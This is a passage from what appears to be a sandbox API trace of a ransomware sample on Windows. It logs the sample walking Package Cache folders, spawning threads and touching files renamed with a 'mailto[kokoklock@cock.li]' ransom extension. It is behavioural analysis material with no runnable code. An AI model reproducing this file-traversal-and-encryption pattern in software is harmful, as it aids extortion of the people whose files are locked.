Flags=0x0, BaseAddress=0x2fc3ea8) returned 1 [0173.908] RtlExitUserThread (Status=0x0) Thread: id = 2212 os_tid = 0x1378 [0173.811] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0a8a0 [0173.811] wcscpy (in: _Dest=0x4f0a8a0, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0173.811] wcscat (in: _Dest=0x4f0a8a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0173.811] wcscat (in: _Dest=0x4f0a8a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*" [0173.811] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99d88 [0173.811] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30453e8 [0173.812] wcscmp (_String1=".", _String2=".") returned 0 [0173.812] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.812] wcscmp (_String1="..", _String2=".") returned 1 [0173.812] wcscmp (_String1="..", _String2="..") returned 0 [0173.812] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0173.812] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0173.812] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0173.812] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc3fe0 [0173.812] wcscpy (in: _Dest=0x2fc3fe0, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0173.812] wcscat (in: _Dest=0x2fc3fe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0173.812] wcscat (in: _Dest=0x2fc3fe0, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0173.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fc3fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474 [0173.906] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0173.906] FindClose (in: hFindFile=0x30453e8 | out: hFindFile=0x30453e8) returned 1 [0173.906] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99d88) returned 1 [0173.906] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0a8a0) returned 1 [0173.906] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024790) returned 1 [0173.906] RtlExitUserThread (Status=0x0) Thread: id = 2213 os_tid = 0x137c [0173.813] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.815] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.816] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.818] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.819] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4df0) returned 1 [0173.819] RtlExitUserThread (Status=0x0) Thread: id = 2214 os_tid = 0x1380 [0173.823] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.825] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.827] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.828] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.830] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84b18) returned 1 [0173.830] RtlExitUserThread (Status=0x0) Thread: id = 2215 os_tid = 0x1384 [0173.831] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0a968 [0173.831] wcscpy (in: _Dest=0x4f0a968, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0173.831] wcscat (in: _Dest=0x4f0a968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\" [0173.831] wcscat (in: _Dest=0x4f0a968, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*" [0173.831] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99ff0 [0173.831] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045428 [0173.832] wcscmp (_String1=".", _String2=".") returned 0 [0173.832] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.832] wcscmp (_String1="..", _String2=".") returned 1 [0173.832] wcscmp (_String1="..", _String2="..") returned 0 [0173.832] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0173.832] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0173.832] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0173.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe2) returned 0x2fc40d0 [0173.833] wcscpy (in: _Dest=0x2fc40d0, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0173.833] wcscat (in: _Dest=0x2fc40d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\" [0173.833] wcscat (in: _Dest=0x2fc40d0, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" [0173.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fc40d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0173.904] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0173.904] FindClose (in: hFindFile=0x3045428 | out: hFindFile=0x3045428) returned 1 [0173.904] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99ff0) returned 1 [0173.904] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0a968) returned 1 [0173.904] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30246d0) returned 1 [0173.904] RtlExitUserThread (Status=0x0) Thread: id = 2216 os_tid = 0x1388 [0173.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0aaf8 [0173.833] wcscpy (in: _Dest=0x4f0aaf8, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0173.833] wcscat (in: _Dest=0x4f0aaf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0173.833] wcscat (in: _Dest=0x4f0aaf8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" [0173.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a258 [0173.833] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045468 [0173.834] wcscmp (_String1=".", _String2=".") returned 0 [0173.834] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.834] wcscmp (_String1="..", _String2=".") returned 1 [0173.834] wcscmp (_String1="..", _String2="..") returned 0 [0173.834] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0173.834] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0173.834] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0173.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc43a0 [0173.834] wcscpy (in: _Dest=0x2fc43a0, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0173.834] wcscat (in: _Dest=0x2fc43a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0173.834] wcscat (in: _Dest=0x2fc43a0, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" [0173.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fc43a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0173.902] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x2f9a258 | out: lpFindFileData=0x2f9a258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0173.902] FindClose (in: hFindFile=0x3045468 | out: hFindFile=0x3045468) returned 1 [0173.902] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a258) returned 1 [0173.903] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0aaf8) returned 1 [0173.903] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024610) returned 1 [0173.903] RtlExitUserThread (Status=0x0) Thread: id = 2217 os_tid = 0x138c [0173.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0abc0 [0173.834] wcscpy (in: _Dest=0x4f0abc0, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0173.834] wcscat (in: _Dest=0x4f0abc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\" [0173.834] wcscat (in: _Dest=0x4f0abc0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" [0173.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a4c0 [0173.835] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30454a8 [0173.835] wcscmp (_String1=".", _String2=".") returned 0 [0173.835] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.835] wcscmp (_String1="..", _String2=".") returned 1 [0173.835] wcscmp (_String1="..", _String2="..") returned 0 [0173.835] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0173.835] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0173.835] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0173.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4580 [0173.835] wcscpy (in: _Dest=0x2fc4580, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0173.835] wcscat (in: _Dest=0x2fc4580, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\" [0173.835] wcscat (in: _Dest=0x2fc4580, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" [0173.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fc4580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0173.901] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0173.901] FindClose (in: hFindFile=0x30454a8 | out: hFindFile=0x30454a8) returned 1 [0173.901] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a4c0) returned 1 [0173.901] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0abc0) returned 1 [0173.901] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024490) returned 1 [0173.901] RtlExitUserThread (Status=0x0) Thread: id = 2218 os_tid = 0x1390 [0173.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0ac88 [0173.836] wcscpy (in: _Dest=0x4f0ac88, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package 